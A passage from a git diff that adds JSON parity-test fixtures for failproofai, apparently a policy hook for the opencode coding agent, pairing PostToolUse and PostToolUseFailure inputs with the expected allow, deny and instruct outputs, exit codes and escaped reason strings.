"projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..346b1146 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..1f6e1720 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..68a4f6fa --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3b6cf6c7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..10554e11 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..35122833 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2fd69152 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8e47983c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2192d505 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..16d9724a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1e528d43 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b5a0f962 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1c05a312 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b585479b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b677cd8b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a907c44e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..53dfcd14 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..dc0a9258 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-present__one-policy.json new file 